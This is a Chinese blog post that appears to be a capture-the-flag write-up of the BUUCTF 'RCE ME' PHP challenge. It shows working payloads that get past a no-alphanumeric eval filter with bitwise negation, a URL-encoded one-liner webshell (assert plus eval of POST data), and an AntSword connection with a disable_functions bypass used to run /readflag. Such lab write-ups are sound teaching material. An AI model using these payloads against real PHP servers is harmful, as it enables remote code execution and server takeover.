当前位置: 首页 > news >正文

BUUCTF——RCE ME

BUUCTF——RCE ME

进入靶场

在这里插入图片描述

<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>

一段php代码

代码分析

这段PHP代码实现了一个简单的代码执行功能,但带有一些安全限制:

功能概述

  1. 代码检查是否有GET参数code传入
  2. 如果有code参数,会进行以下检查:
    • 长度不能超过40个字符(否则显示"This is too Long.")
    • 不能包含任何字母数字字符(A-Z, a-z, 0-9)(否则显示"NO.")
  3. 如果通过检查,则使用eval()执行传入的代码
  4. 如果没有code参数,则显示源代码本身

安全限制

  • error_reporting(0) 关闭了错误报告
  • 长度限制:不超过40字符
  • 字符限制:不能包含任何字母和数字
  • 使用@抑制eval()可能产生的错误

潜在利用方式

要在这种限制下执行代码,需要:

  1. 构造不超过40个字符的payload
  2. 完全不使用任何字母和数字
  3. 利用PHP允许的特殊字符和符号

可能的利用技术:

  • 使用异或运算生成所需字符
  • 利用PHP的短标签和特殊符号
  • 使用非字母数字的PHP函数调用方式

根据这段代码构造payload

?code=${~%A0%B8%BA%AB}[%A0]();&%A0=phpinfo

成功访问phpinfo

在这里插入图片描述

细看了一下phpinfo 还以为跟之前的题一样flag在phpinfo里

结果没找到

但是找到了好多禁用函数

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

在这里插入图片描述

构造一句话木马payload

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["cmd"]))';
$d=urlencode(~$c);
echo $d;?>

在这里插入图片描述

运行代码

将运行结果拼接到url里

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%9C%92%9B%DD%A2%D6%D6);

在这里插入图片描述

蚁剑测试连接一下

成功连接

但是读取不了数据

在这里插入图片描述

之前phpinfo看到php版本是php7

直接使用蚁剑插件disable_functions绕过试试

在这里插入图片描述

/readflag

在这里插入图片描述

成功拿到flag

flag{3f829afc-68f8-4f76-8e68-7ee4f8fa10ab}

在这里插入图片描述

相关文章:

  • 基于OpenCV 的人体姿态估计
  • gcc编译构建流程
  • 【慧游鲁博】【8】前后端用户信息管理:用户基本信息在小程序端的持久化与随时获取
  • 华硕FL8000U加装16G+32G=48G内存条
  • C#索引器详解:让对象像数组一样被访问
  • 正则表达式全解:一文学会正则表达式【附在线正则表达式练习网站】
  • git子模块--命令--表格版
  • Java 学习笔记:注解、泛型与 IO 流
  • 力扣395做题笔记
  • 刷leetcode hot100返航版--栈和队列5/24
  • 人工智能数学基础实验(三):最小二乘法-数值计算
  • 以下是修改Java版《我的世界》字体的分步指南(DeepSeek)
  • 后经济时代开源链动2+1模式AI智能名片S2B2C商城小程序驱动零售企业转型研究
  • 基于Spring Boot的高校科研绩效管理的设计与实现
  • Java线程同步:从多线程协作到银行账户安全
  • Linux核心技术:Linux文件系统与bootFS/rootFS
  • 进程通信-内存共享
  • 【目标检测】【医学图像目标检测】BGF-YOLO:脑肿瘤检测的多尺度注意力特征融合
  • Flink 常用算子详解与最佳实践
  • Python数据可视化实战:让数据从「数字堆」变成「故事书」
  • 三五互联网站管理登录地址是多少/steam交易链接怎么改
  • 做网站基本教程/搜索引擎优化师工资
  • 黑龙江省住房和建设厅网站首页/艾滋病阻断药
  • 域名访问网站应该怎么做/长沙有实力seo优化
  • 凡科网站制作/百度搜索竞价
  • 做网站的心得/营销网站建设大概费用